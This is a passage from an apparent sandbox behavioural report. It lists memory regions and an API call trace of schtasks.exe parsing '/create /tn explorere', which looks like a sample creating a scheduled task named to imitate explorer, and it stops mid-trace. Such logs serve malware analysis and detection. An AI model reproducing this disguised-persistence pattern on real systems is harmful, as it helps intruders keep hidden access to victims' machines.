"\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2946 start_va = 0x2556b2b0000 end_va = 0x2556b2b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b2b0000" filename = "" Region: id = 2947 start_va = 0x2556b2c0000 end_va = 0x2556b2c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b2c0000" filename = "" Region: id = 2948 start_va = 0x2556b850000 end_va = 0x2556b9d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b850000" filename = "" Region: id = 2949 start_va = 0x2556b9e0000 end_va = 0x2556cddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b9e0000" filename = "" Region: id = 2950 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2951 start_va = 0x2556b2d0000 end_va = 0x2556b2d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b2d0000" filename = "" Region: id = 2952 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2953 start_va = 0x2556b2e0000 end_va = 0x2556b2e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b2e0000" filename = "" Region: id = 2954 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2955 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2956 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 156 os_tid = 0x12e0 [0116.931] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0116.931] __set_app_type (_Type=0x1) [0116.931] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0116.931] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0116.932] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0116.932] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0116.932] CsrIdentifyAlertableThread () returned 0x0 [0116.932] GetProcessHeap () returned 0x2556b0d0000 [0116.932] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d49f0 [0116.932] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.933] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0116.933] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0116.933] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0116.933] RtlVerifyVersionInfo (VersionInfo=0x73cd6bf6f0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d4a10 [0116.933] lstrlenW (lpString="") returned 0 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x2) returned 0x2556b0d4a30 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d43a0 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d43d0 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d43f0 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d4420 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d3f90 [0116.933] GetProcessHeap () returned 0x2556b0d0000 [0116.933] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d3fc0 [0116.939] GetProcessHeap () returned 0x2556b0d0000 [0116.939] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d20e0 [0116.939] GetProcessHeap () returned 0x2556b0d0000 [0116.939] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d9070 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8e00 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d90a0 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8f50 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d4020 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8e30 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8e60 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8fe0 [0116.940] GetProcessHeap () returned 0x2556b0d0000 [0116.940] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8e90 [0116.940] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.942] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8fb0 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d9010 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d90d0 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8d70 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8da0 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d3910 [0116.942] _memicmp (_Buf1=0x2556b0d3910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.942] GetProcessHeap () returned 0x2556b0d0000 [0116.942] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x208) returned 0x2556b0d9a10 [0116.943] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2556b0d9a10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0116.943] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x73cd6bf848 | out: lpdwHandle=0x73cd6bf848) returned 0x76c [0116.944] GetProcessHeap () returned 0x2556b0d0000 [0116.944] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x776) returned 0x2556b0da770 [0116.945] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2556b0da770 | out: lpData=0x2556b0da770) returned 1 [0116.945] VerQueryValueW (in: pBlock=0x2556b0da770, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x73cd6bf7e0, puLen=0x73cd6bf840 | out: lplpBuffer=0x73cd6bf7e0*=0x2556b0dab20, puLen=0x73cd6bf840) returned 1 [0116.947] _memicmp (_Buf1=0x2556b0d3910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.948] _vsnwprintf (in: _Buffer=0x2556b0d9a10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x73cd6bf7b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0116.948] VerQueryValueW (in: pBlock=0x2556b0da770, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x73cd6bf7d0, puLen=0x73cd6bf838 | out: lplpBuffer=0x73cd6bf7d0*=0x2556b0da950, puLen=0x73cd6bf838) returned 1 [0116.948] lstrlenW (lpString="schtasks.exe") returned 12 [0116.948] lstrlenW (lpString="schtasks.exe") returned 12 [0116.948] lstrlenW (lpString=".EXE") returned 4 [0116.948] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0116.949] lstrlenW (lpString="schtasks.exe") returned 12 [0116.949] lstrlenW (lpString=".EXE") returned 4 [0116.949] _memicmp (_Buf1=0x2556b0d3910, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.949] lstrlenW (lpString="schtasks") returned 8 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8dd0 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8ec0 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0d8ef0 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db850 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d46f0 [0116.949] _memicmp (_Buf1=0x2556b0d46f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xa0) returned 0x2556b0d4220 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.949] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db9d0 [0116.949] GetProcessHeap () returned 0x2556b0d0000 [0116.950] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db310 [0116.950] GetProcessHeap () returned 0x2556b0d0000 [0116.950] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db340 [0116.950] GetProcessHeap () returned 0x2556b0d0000 [0116.950] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d3ee0 [0116.950] _memicmp (_Buf1=0x2556b0d3ee0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.950] GetProcessHeap () returned 0x2556b0d0000 [0116.950] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x200) returned 0x2556b0dba40 [0116.950] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2556b0dba40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0116.951] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0116.951] GetProcessHeap () returned 0x2556b0d0000 [0116.951] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x30) returned 0x2556b0d47b0 [0116.951] _vsnwprintf (in: _Buffer=0x2556b0d4220, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x73cd6bf7b8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0116.951] GetProcessHeap () returned 0x2556b0d0000 [0116.951] GetProcessHeap () returned 0x2556b0d0000 [0116.951] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0da770) returned 1 [0116.951] GetProcessHeap () returned 0x2556b0d0000 [0116.951] RtlSizeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, MemoryPointer=0x2556b0da770) returned 0x776 [0116.952] RtlFreeHeap (HeapHandle=0x2556b0d0000, Flags=0x0, BaseAddress=0x2556b0da770) returned 1 [0116.952] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.952] GetThreadLocale () returned 0x409 [0116.952] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.952] lstrlenW (lpString="?") returned 1 [0116.952] GetThreadLocale () returned 0x409 [0116.952] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.952] lstrlenW (lpString="create") returned 6 [0116.952] GetThreadLocale () returned 0x409 [0116.952] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.952] lstrlenW (lpString="delete") returned 6 [0116.952] GetThreadLocale () returned 0x409 [0116.952] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.952] lstrlenW (lpString="query") returned 5 [0116.952] GetThreadLocale () returned 0x409 [0116.952] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.953] lstrlenW (lpString="change") returned 6 [0116.953] GetThreadLocale () returned 0x409 [0116.953] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.953] lstrlenW (lpString="run") returned 3 [0116.953] GetThreadLocale () returned 0x409 [0116.953] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.953] lstrlenW (lpString="end") returned 3 [0116.953] GetThreadLocale () returned 0x409 [0116.953] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.953] lstrlenW (lpString="showsid") returned 7 [0116.953] GetThreadLocale () returned 0x409 [0116.953] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.953] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.953] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.953] lstrlenW (lpString="/create") returned 7 [0116.953] lstrlenW (lpString="-/") returned 2 [0116.953] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.953] lstrlenW (lpString="?") returned 1 [0116.953] lstrlenW (lpString="?") returned 1 [0116.953] GetProcessHeap () returned 0x2556b0d0000 [0116.953] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d47f0 [0116.953] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.953] GetProcessHeap () returned 0x2556b0d0000 [0116.953] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xa) returned 0x2556b0d42d0 [0116.953] lstrlenW (lpString="create") returned 6 [0116.953] GetProcessHeap () returned 0x2556b0d0000 [0116.953] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0d42f0 [0116.954] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.954] GetProcessHeap () returned 0x2556b0d0000 [0116.954] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x14) returned 0x2556b0d4310 [0116.954] _vsnwprintf (in: _Buffer=0x2556b0d42d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|?|") returned 3 [0116.954] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.954] lstrlenW (lpString="|?|") returned 3 [0116.954] lstrlenW (lpString="|create|") returned 8 [0116.954] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.954] lstrlenW (lpString="create") returned 6 [0116.954] lstrlenW (lpString="create") returned 6 [0116.954] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.954] GetProcessHeap () returned 0x2556b0d0000 [0116.954] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d42d0) returned 1 [0116.954] GetProcessHeap () returned 0x2556b0d0000 [0116.954] RtlReAllocateHeap (Heap=0x2556b0d0000, Flags=0xc, Ptr=0x2556b0d42d0, Size=0x14) returned 0x2556b0d3b00 [0116.954] lstrlenW (lpString="create") returned 6 [0116.954] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.954] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.954] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.954] lstrlenW (lpString="|create|") returned 8 [0116.954] lstrlenW (lpString="|create|") returned 8 [0116.954] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0116.954] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.954] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.954] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.954] lstrlenW (lpString="/tn") returned 3 [0116.954] lstrlenW (lpString="-/") returned 2 [0116.954] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.955] lstrlenW (lpString="?") returned 1 [0116.955] lstrlenW (lpString="?") returned 1 [0116.955] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.955] lstrlenW (lpString="tn") returned 2 [0116.955] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.955] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|?|") returned 3 [0116.955] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.955] lstrlenW (lpString="|?|") returned 3 [0116.955] lstrlenW (lpString="|tn|") returned 4 [0116.955] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.955] lstrlenW (lpString="create") returned 6 [0116.955] lstrlenW (lpString="create") returned 6 [0116.955] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.955] lstrlenW (lpString="tn") returned 2 [0116.955] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.955] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|create|") returned 8 [0116.955] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.955] lstrlenW (lpString="|create|") returned 8 [0116.955] lstrlenW (lpString="|tn|") returned 4 [0116.955] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0116.955] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.955] lstrlenW (lpString="delete") returned 6 [0116.955] lstrlenW (lpString="delete") returned 6 [0116.955] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.955] lstrlenW (lpString="tn") returned 2 [0116.955] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.956] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|delete|") returned 8 [0116.956] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.956] lstrlenW (lpString="|delete|") returned 8 [0116.956] lstrlenW (lpString="|tn|") returned 4 [0116.956] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0116.956] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.956] lstrlenW (lpString="query") returned 5 [0116.956] lstrlenW (lpString="query") returned 5 [0116.956] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.956] lstrlenW (lpString="tn") returned 2 [0116.956] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.956] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x8, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|query|") returned 7 [0116.956] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.956] lstrlenW (lpString="|query|") returned 7 [0116.956] lstrlenW (lpString="|tn|") returned 4 [0116.956] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0116.956] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.956] lstrlenW (lpString="change") returned 6 [0116.956] lstrlenW (lpString="change") returned 6 [0116.956] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.956] lstrlenW (lpString="tn") returned 2 [0116.956] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.956] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|change|") returned 8 [0116.956] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.956] lstrlenW (lpString="|change|") returned 8 [0116.956] lstrlenW (lpString="|tn|") returned 4 [0116.956] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0116.957] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.957] lstrlenW (lpString="run") returned 3 [0116.957] lstrlenW (lpString="run") returned 3 [0116.957] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.957] lstrlenW (lpString="tn") returned 2 [0116.957] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.957] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|run|") returned 5 [0116.957] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.957] lstrlenW (lpString="|run|") returned 5 [0116.957] lstrlenW (lpString="|tn|") returned 4 [0116.957] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0116.957] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.957] lstrlenW (lpString="end") returned 3 [0116.957] lstrlenW (lpString="end") returned 3 [0116.957] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.957] lstrlenW (lpString="tn") returned 2 [0116.957] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.957] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x6, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|end|") returned 5 [0116.957] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.957] lstrlenW (lpString="|end|") returned 5 [0116.957] lstrlenW (lpString="|tn|") returned 4 [0116.957] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0116.957] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.957] lstrlenW (lpString="showsid") returned 7 [0116.957] lstrlenW (lpString="showsid") returned 7 [0116.957] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.957] GetProcessHeap () returned 0x2556b0d0000 [0116.958] HeapValidate (hHeap=0x2556b0d0000, dwFlags=0x0, lpMem=0x2556b0d3b00) returned 1 [0116.958] GetProcessHeap () returned 0x2556b0d0000 [0116.958] RtlReAllocateHeap (Heap=0x2556b0d0000, Flags=0xc, Ptr=0x2556b0d3b00, Size=0x16) returned 0x2556b0d3b00 [0116.958] lstrlenW (lpString="tn") returned 2 [0116.958] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.958] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0xa, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|showsid|") returned 9 [0116.958] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bf7c8 | out: _Buffer="|tn|") returned 4 [0116.958] lstrlenW (lpString="|showsid|") returned 9 [0116.958] lstrlenW (lpString="|tn|") returned 4 [0116.958] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.958] lstrlenW (lpString="/tn") returned 3 [0116.958] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.958] lstrlenW (lpString="/tn") returned 3 [0116.958] GetProcessHeap () returned 0x2556b0d0000 [0116.958] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x8) returned 0x2556b0d42d0 [0116.958] GetProcessHeap () returned 0x2556b0d0000 [0116.958] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x20) returned 0x2556b0db400 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.958] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.959] lstrlenW (lpString="explorere") returned 9 [0116.959] lstrlenW (lpString="-/") returned 2 [0116.959] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0116.959] RtlRestoreLastWin32Error () 